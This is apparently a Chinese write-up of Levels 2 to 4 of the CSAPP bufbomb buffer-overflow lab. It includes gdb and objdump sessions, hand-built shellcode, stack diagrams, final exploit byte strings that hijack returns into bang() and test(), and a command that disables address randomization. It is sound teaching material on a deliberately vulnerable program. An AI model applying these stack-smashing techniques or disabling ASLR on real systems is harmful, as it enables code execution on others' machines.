CSAPP缓冲区溢出攻击实验(下)
3.3 Level 2: 爆竹
实验要求
这一个Level的难度陡然提升,我们要让getbuf()返回到bang()而非test(),并且在执行bang()之前将global_value的值修改为cookie。因为全局变量与代码不在一个段中,所以我们不能让缓冲区一直溢出到.bss段(因为global_value初始化为0,所以它会被放在.bss而非.data段以节省空间)覆盖global_value的值。若修改了.bss和.text之间某些只读的段会引起操作系统的“警觉”而报错。所以在进入bang()之前我们需要执行一小段我们自己的代码去修改global_value,这一段代码就叫做 exploit code。
int global_value = 0;
void bang(int val)
{
if (global_value == cookie) {
printf("Bang!: You set global_value to 0x%x
", global_value);
validate(2);
} else
printf("Misfire: global_value = 0x%x
", global_value);
exit(0);
}
第一步:bang()和global_value地址
我们驾轻就熟地得到bang()的入口地址0x08048e10,以及global_value的地址0x0804a1c4。
[root@vm bufbomb]$ objdump -t exploitcode | grep -e bang -e global_value
080483b9 g F .text 0000001d bang
080495bc g O .bss 00000004 global_value
第二步:运行时的栈地址
获得栈地址,从而知道我们注入代码的位置。方法就是为函数getbuf加断点,发现GDB会把断点加到0x8048ad6并停在这里,看下反汇编代码就能发现,0x8048ad6就是getbuf()执行完常规的三条指令(%ebp压栈、%ebp移动到%esp位置、移动%esp分配栈空间)之后的地方。现在就用info registers拿到我们最关心的栈地址%ebp=0xbfffb538:
[root@vm bufbomb]$ objdump -d bufbomb | grep -A 15 "<getbuf>:"
08048ad0 <getbuf>:
8048ad0: 55 push %ebp
8048ad1: 89 e5 mov %esp,%ebp
8048ad3: 83 ec 28 sub $0x28,%esp
8048ad6: 8d 45 e8 lea -0x18(%ebp),%eax
8048ad9: 89 04 24 mov %eax,(%esp)
8048adc: e8 df fe ff ff call 80489c0 <Gets>
8048ae1: c9 leave
8048ae2: b8 01 00 00 00 mov $0x1,%eax
8048ae7: c3 ret
8048ae8: 90 nop
8048ae9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
[root@vm bufbomb]$ gdb bufbomb
GNU gdb (GDB) Red Hat Enterprise Linux (7.2-75.el6)
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-redhat-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/Temp/bufbomb/bufbomb...done.
(gdb) b getbuf
Breakpoint 1 at 0x8048ad6
(gdb) run -t cdai
Starting program: /root/Temp/bufbomb/bufbomb -t cdai
Team: cdai
Cookie: 0x5e5ee04e
Breakpoint 1, 0x08048ad6 in getbuf ()
Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.149.el6_6.4.i686
(gdb) info registers
eax 0xbfffb520 -1073760992
ecx 0x0 0
edx 0x8910d0 8982736
ebx 0x0 0
esp 0xbfffb510 0xbfffb510
ebp 0xbfffb538 0xbfffb538
esi 0x804b018 134524952
edi 0xffffffff -1
eip 0x8048ad9 0x8048ad9 <getbuf+9>
eflags 0x282 [ SF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
第三步:exploit代码的机器指令
为了避免手写机器指令出错,我们写一小段C和汇编程序,编译后提取出编译器为我们生成好的机器指令。其中movl $0x5e5ee04e,0x80495bc和call 80483b9两行就是我们想要的:
// exploitcode.c
#include <stdio.h>
int global_value = 0;
void bang(int val);
int main(int argc, char const *argv[])
{
// Mock exploit code
global_value = 1583276110; //0x5e5ee04e
bang(0);
return 0;
}
void bang(int val)
{
printf("%d
", global_value);
}
// exploitcode.s
pushl $0x08048e10
ret
[root@vm bufbomb]$ gcc -o exploitcode exploitcode.c
[root@vm bufbomb]$ objdump -d exploitcode | grep -A15 "<main>:"
08048384 <main>:
8048384: 8d 4c 24 04 lea 0x4(%esp),%ecx
8048388: 83 e4 f0 and $0xfffffff0,%esp
804838b: ff 71 fc pushl 0xfffffffc(%ecx)
804838e: 55 push %ebp
804838f: 89 e5 mov %esp,%ebp
8048391: 51 push %ecx
8048392: 83 ec 04 sub $0x4,%esp
8048395: c7 05 bc 95 04 08 4e movl $0x5e5ee04e,0x80495bc
804839c: e0 5e 5e
804839f: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80483a6: e8 0e 00 00 00 call 80483b9 <bang>
...
[root@vm bufbomb]$ gcc -c exploitcode.s
[root@vm bufbomb]$ objdump -d exploitcode.o
exploitcode.o: file format elf32-i386
Disassembly of section .text:
00000000 <.text>:
0: 68 10 8e 04 08 push $0x8048e10
5: c3 ret
关键技术点
先说一下碰到的问题,都是顺利做出这个实验的关键点:
- Linux内存地址随机化:Linux为了保护程序,每次加载都会使用不同的基地址,所以每次用GDB调试进入getbuf()后查看%esp和%ebp都是不同的。%ebp是动态的可就麻烦了!没法知道准确的栈地址怎么让我们注入的代码拿到CPU控制权啊?尝试断点卡在getbuf()时立即去修改exploit字符串也失败了,貌似bufbomb提前加载了它似的。最后没办法,手动关闭掉地址随机化:echo “0” > /proc/sys/kernel/randomize_va_space。
- call绝对地址:call/jmp默认都是near跳转,使用相对地址。而我们注入的代码是在运行时栈上,要跳转的bang()是在.text段上,二者相隔“十万八千里”,直接计算相对地址的话将会是一个很大的数字。提示里建议:先将bang()地址压入栈,然后用ret指令实现绝对地址跳转,“微操作”啊!
- 自动生成机器指令:可以写一小段对应的C代码,但像把bang()地址压入栈后ret这种就没法写出对应的C了。提示里也给出了建议:新建一个.s汇编文件,编写想翻译的汇编后用gcc -c编译,然后objdump反汇编就行了。.s里可以只包含我们想翻译的汇编,不用是完整的代码。
- GDB调试命令参数:之前一直用cat exploit.raw | ./sendstring | ./bufbomb -t cdai运行,但在GDB里执行run时是不支持管道的。还想调试怎么办?最简单的办法就是把cat exploit.raw | ./sendstring > tmp重定向到临时文件,然后在GDB里run -t cdai < tmp启动调试。
最终exploit字符串
至此,bang()和global_value的地址、运行时栈地址、exploit的机器指令就都有了,万事俱备,接下来就可以构造溢出缓冲区的字节串了:
……………………………………………………………………………………………. 0xbfffb540
Return Address -> 20 b5 ff bf 0xbfffb520
……………………………………………………………………………………………. 0xbfffb53c
Saved %ebp -> padding 11 22 33 44
……………………………………………………………………………………………. 0xbfffb538 <- %ebp
padding 00
……………………………………………………………………………………………. 0xbfffb537
c3 ret
……………………………………………………………………………………………. 0xbfffb536
68 10 8e 04 08 pushl bang()
……………………………………………………………………………………………. 0xbfffb531
c7 04 24 00 00 00 00 movl $0x0, (%esp)
……………………………………………………………………………………………. 0xbfffb52a
c7 05 c4 a1 04 08 4e e0 5e 5e movl $0x5e5ee04e, global_value
……………………………………………………………………………………………. 0xbfffb520
……………………………………………………………………………………………. 0xbfffb510 <- %esp
根据我们的预想,getbuf()调用返回后的栈应该是这个样子,%esp回到调用getbuf()前的位置,而%ebp被损坏,但没关系(一直困惑bang()压入栈时不会报错吗?),最重要的是%eip指向了我们注入的代码起始位置:
……………………………………………………………………………………………. 0x44332211 <- %ebp
……………………………………………………………………………………………. 0xbfba3540 <- %esp
……………………………………………………………………………………………. 0xbfffb537
c3 ret
……………………………………………………………………………………………. 0xbfffb536
68 10 8e 04 08 pushl bang()
……………………………………………………………………………………………. 0xbfffb531
c7 04 24 00 00 00 00 movl $0x0, (%esp)
……………………………………………………………………………………………. 0xbfffb52a
c7 05 c4 a1 04 08 4e e0 5e 5e movl $0x5e5ee04e, global_value
……………………………………………………………………………………………. 0xbfffb520 <- %eip
实验结果
运行一下,真的成功了!做这个实验的感想就是,要是没有Linux内存地址随机化保护的话,还真挺容易利用缓冲区溢出漏洞exploit代码的。但要是buf是全局变量,地址固定的话,是不是Linux也无能为力了呢?
[root@vm bufbomb]$ cat exploit_level_2.raw
c705c4a104084ee05e5ec704240000000068108e0408c3001122334420b5ffbf
[root@vm bufbomb]$ cat exploit_level_2.raw | ./sendstring | ./bufbomb -t cdai
Team: cdai
Cookie: 0x5e5ee04e
Type string:Bang!: You set global_value to 0x5e5ee04e
NICE JOB!
Sent validation information to grading server
3.4 Level 3: 炸药
前面三个实验都使程序跳转到一个会立刻终止的函数,smoke()、fizz()、bang()都是这样的,所以尽管我们破坏了栈,也没有关系,反正程序不久后就会终止。但对于这一级别的实验就不可行了,在Level 3里,我们将getbuf()的返回值修改为我们的cookie,并“悄无声息”地返回到调用者test()中。
void test()
{
int val;
volatile int local = 0xdeadbeef;
val = getbuf();
/* Check for corrupted stack */
if (local != 0xdeadbeef) {
printf("Sabotaged!: the stack has been corrupted
");
}
else if (val == cookie) {
printf("Boom!: getbuf returned 0x%x
", val);
validate(3);
}
else {
printf("Dud: getbuf returned 0x%x
", val);
}
}
int getbuf()
{
char buf[12];
Gets(buf);
return 1;
}
仿照上一个实验的三步。首先第一步,我们要找的不是test()的入口地址,而是test()在调用getbuf()之后的那一条指令的地址,0x08048db2。
[root@vm bufbomb]$ objdump -d bufbomb | grep -A20 "<test>:"
08048da0 <test>:
8048da0: 55 push %ebp
8048da1: 89 e5 mov %esp,%ebp
8048da3: 83 ec 18 sub $0x18,%esp
8048da6: c7 45 fc ef be ad de movl $0xdeadbeef,0xfffffffc(%ebp)
8048dad: e8 1e fd ff ff call 8048ad0 <getbuf>
8048db2: 89 c2 mov %eax,%edx
...
第二步,用GDB获得运行时栈地址是0x0xbfffb538,saved %ebp是0x0xbfffb558。
[root@vm bufbomb]$ gdb bufbomb
...
(gdb) b getbuf
Breakpoint 1 at 0x8048ad6
(gdb) run -t cdai < tmp
Team: cdai
Cookie: 0x5e5ee04e
Breakpoint 1, 0x08048ad6 in getbuf ()
(gdb) info re
eax 0xc 12
ecx 0x0 0
edx 0x3760d0 3629264
ebx 0x0 0
esp 0xbfffb510 0xbfffb510
ebp 0xbfffb538 0xbfffb538
esi 0x804b018 134524952
edi 0xffffffff -1
eip 0x8048ad6 0x8048ad6 <getbuf+6>
eflags 0x282 [ SF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/18x $sp
0xbfffb510: 0x0076e2d8 0x00000000 0x00000000 0x00000000
0xbfffb520: 0x080484da 0x00000000 0x0804a12c 0xbfffb564
0xbfffb530: 0x00374ff4 0x0804b018 0xbfffb558 0x08048db2
0xbfffb540: 0x00279e83 0x003754c0 0x0804966e 0xbfffb564
0xbfffb550: 0xbfffb564 0xdeadbeef
第三步,编译手写汇编代码得到机器指令。
[root@vm bufbomb]$ gcc -c exploitcode_level2.s
[root@vm bufbomb]$ cat exploitcode_level2.s
movl $0x5e5ee04e,%eax
pushl $0x08048da0
ret
[root@vm bufbomb]$ objdump -d exploitcode_level2.o
exploitcode_level2.o: file format elf32-i386
Disassembly of section .text:
00000000 <.text>:
0: b8 4e e0 5e 5e mov $0x5e5ee04e,%eax
5: 68 a0 8d 04 08 push $0x8048da0
a: c3 ret
……………………………………………………………………………………………. 0xbfffb540
Return Address(exploit) -> 20 b5 ff bf 0xbfffb520
……………………………………………………………………………………………. 0xbfffb53c
Saved %ebp -> 38 b5 ff bf 0xbfffb538
……………………………………………………………………………………………. 0xbfffb538 <- %ebp
padding 00112233445566
……………………………………………………………………………………………. 0xbfffb531
c3 ret
……………………………………………………………………………………………. 0xbfffb530
c9 leave
……………………………………………………………………………………………. 0xbfffb52f
68 58 b5 ff bf pushl saved %ebp
……………………………………………………………………………………………. 0xbfffb52a
68 b2 8d 04 08 pushl next instruction in test()
……………………………………………………………………………………………. 0xbfffb525
b8 4e e0 5e 5e movl $0x5e5ee04e, %eax
……………………………………………………………………………………………. 0xbfffb520
……………………………………………………………………………………………. 0xbfffb510 <- %esp
关键技术点
- 必须重利用0xbfffb538和0xbfffb53c位置来保存test()的Saved %ebp和Return address,这样我们exploit代码执行leave和ret时,就像又“重播”了getbuf()里的leave和ret一样,这样才能不被察觉地返回到test()中!
- push压栈修改的是%esp而非%ebp。
A.刚跳转到exploit代码时的栈
……………………………………………………………………………………………. 0xbfffb540 <- %esp
Return Address(exploit)
……………………………………………………………………………………………. 0xbfffb53c
Saved %ebp
……………………………………………………………………………………………. 0xbfffb538 <- %ebp
……………………………………………………………………………………………. 0xbfffb531
c3 ret
……………………………………………………………………………………………. 0xbfffb530
c9 leave
……………………………………………………………………………………………. 0xbfffb52f
68 58 b5 ff bf pushl saved %ebp
……………………………………………………………………………………………. 0xbfffb52a
68 b2 8d 04 08 pushl next instruction in test()
……………………………………………………………………………………………. 0xbfffb525
b8 4e e0 5e 5e movl $0x5e5ee04e, %eax
……………………………………………………………………………………………. 0xbfffb520 <- %eip
B.压入test()的return地址和%ebp后的栈
……………………………………………………………………………………………. 0xbfffb540
Return Address(exploit) -> b2 8d 04 08
……………………………………………………………………………………………. 0xbfffb53c
Saved %ebp -> 58 b5 ff bf
……………………………………………………………………………………………. 0xbfffb538 <- %ebp/%esp
……………………………………………………………………………………………. 0xbfffb531
c3 ret
……………………………………………………………………………………………. 0xbfffb530
c9 leave
……………………………………………………………………………………………. 0xbfffb52f <- %eip
C.执行leave还原%ebp和%esp后的栈
leave相当于 mov %ebp,%esp 并且 pop %ebp。
……………………………………………………………………………………………. 0xbfffb558 <- %ebp
……………………………………………………………………………………………. 0xbfffb540
Return Address(exploit) -> b2 8d 04 08
……………………………………………………………………………………………. 0xbfffb53c <- %esp
Saved %ebp -> 58 b5 ff bf
……………………………………………………………………………………………. 0xbfffb538
……………………………………………………………………………………………. 0xbfffb531
c3 ret
……………………………………………………………………………………………. 0xbfffb530 <- %eip
D.执行ret跳转回test()后的栈
ret相当于 pop %eip。
……………………………………………………………………………………………. 0xbfffb558 <- %ebp
……………………………………………………………………………………………. 0xbfffb540 <- %esp
Return Address(exploit) -> b2 8d 04 08
……………………………………………………………………………………………. 0xbfffb53c
Saved %ebp -> 58 b5 ff bf
……………………………………………………………………………………………. 0xbfffb538
89 c2 mov %eax,%edx
……………………………………………………………………………………………. 0x08048db2 <- %eip
运行一下,成功了!
[root@vm bufbomb]$ cat exploit_level_3.raw
b84ee05e5e68b28d04086858b5ffbfc9c30011223344556638b5ffbf20b5ffbf
[root@vm bufbomb]$ cat exploit_level_3.raw | ./sendstring | ./bufbomb -t cdai
Team: cdai
Cookie: 0x5e5ee04e
Type string:Boom!: getbuf returned 0x5e5ee04e
NICE JOB!
Sent validation information to grading server
3.5 Level 4: 硝化甘油
讲义上说了,完成Level 0到3就已经是100分了!这最终Level的挑战就是解决前面遇到过的,运行时栈地址会变化的问题。CMU说这里给出的方法不稳定,有时奏效有时segfault,标题里的一种不稳定的炸药-“硝化甘油”正是暗喻了这种攻击方法的不稳定。用bufbomb的-n参数进入Level 4模式,此时程序不会调用getbuf()而是其升级版getbufn():
int getbufn()
{
char buf[512];
Gets(buf);
return 1;
}
getbufn()的调用者会使用alloca库函数随机分配栈空间,然后连续调用getbufn()五次。我们的任务与上一Level完全相同,就是保证getbufn()每次都返回我们的cookie而不是1。